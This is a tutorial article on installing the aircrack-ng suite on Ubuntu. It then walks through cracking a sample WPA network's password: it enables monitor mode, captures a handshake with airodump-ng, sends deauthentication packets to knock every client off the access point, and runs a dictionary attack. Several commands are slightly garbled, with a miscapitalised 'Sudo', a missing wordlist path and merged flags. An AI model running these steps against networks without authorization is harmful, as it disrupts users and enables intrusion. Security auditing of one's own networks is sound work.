How to install the latest aircrack-ng release in Linux or Ubuntu Full (Guide)

What is Aircrack-ng ??

Aircrack-ng is a whole suite of tools for Wireless Security Auditing. It can be used to monitor, test, crack or attack Wireless Security Protocols like WEP, WPA, WPA2. Command-line based and is available for Windows and Mac OS and other Unix based Operating systems.  The suite contains a lot of tools used for various purposes but here we’ll only look at some important tools that are used more often in Wireless Security testing.


Airmon-ng is used to manage wireless card modes and to kill unnecessary processes while using aircrack-ng. To sniff a wireless connection, you need to change your wireless card from managed mode to monitor mode, and airmon-ng is used for that purpose.


Airodump-ng is a wireless sniffer that can capture wireless data from one or more wireless Access Points. It is used to analyze nearby Access Points and to capture handshakes.


Aireplay-ng is used for replay attacks and as a packet injector. It can be de-authenticate users from their APs to capture handshakes.


Airdecap-ng is used to decrypt encrypted WEP, WPA/WPA2 wireless packets with a known key.


Aircrack-ng is used to attack WPA/WEP wireless protocols to find the key.


Just type the following command and this will install all tools available in the Aircrack-ng suite.

sudo apt-get update
Sudo apt-get install -y aircrack-ng
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In this article, we’ll take a quick look at how to use aircrack-ng to crack an encrypted wireless network (TR1CKST3R in this example) to find the password.

First of all, list out all available wireless cards connected to your PC using ‘iwconfig’ command.

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We’ll use ‘wlxc83a35cb4546’ named wireless card for this tutorial (This might be different in your case). Now, kill all the processes running on the wireless card using airmon-ng.

ubuntu@ubuntu:~$ Sudo airmon-ng check kill
Start Monitor mode on ‘wlxc83a35cb4546’ by typing
ubuntu@ubuntu:~$ Sudo airmon-ng start wlxc83a35cb4546

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Now, airmon-ng has started Monitor mode on the wireless card, it’ll appear as the different name ‘wlan0mon’. Run ‘iwconfig’ again to list wireless details.

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ubuntu@ubuntu:~$ Sudo airodump-ng wlan0mon

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You can narrow down the search using MAC (–bssid) and channel (-c) filters. To capture handshake (Handshake contains encrypted password), we need to save our packets somewhere using the “–write” option. Type,

ubuntu@ubuntu:~$ Sudo airodump-ng –bssid 6C:B7:49:FC:62:E4
-c 11 wlan0mon –write /tmp/handshake.cap–bssid : Access Point’s MAC Address-c : Access Point’s channel [113]–write : Stores captured packets at a defined location

Now, we need to de-authenticate every device from this Access Point using Aireplay-ng utility. Write

ubuntu@ubuntu:~$ Sudo aireplay-ng -0 100 -a [MAC_ADD] wlan0mon
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a : Specify Access Points MAC for Aireplay-ng

-0 : Specify the number of death packets to send

After a while, all devices will be disconnected from that Access Point, when they’ll try to reconnect, running airodump-ng will capture the handshake. It’ll appear at the top of running airodump-ng.

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Handshake is stored in the ‘/tmp/’ directory and contains an encrypted password that can be brute-forced offline using a dictionary. To crack the password, we’ll be using Aircrack-ng. Type

ubuntu@ubuntu:~$ Sudo aircrack-ng /tmp/handshake.cap-01.cap -w
-w : Specify the dictionary location

Aircrack-ng will go through the list of passwords, and if found, it’ll display the password used as the key.

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In this case, aircrack-ng found the password used ‘123456789’.

Now, stop Monitor mode on the wireless card and restart the network-manager.

ubuntu@ubuntu:~$ Sudo airmon-ng stop wlan0mon
ubuntu@ubuntu:~$ sudo service network-manager restart


Aircrack-ng can be used to audit Wireless Security or to crack forgotten passwords. There are some other similar tools available for this purpose like Kismet but aircrack-ng is better known for good support, versatility, and having a wide range of tools. It has easy to use Command-line interface which can easily be automated using any scripting language like Python.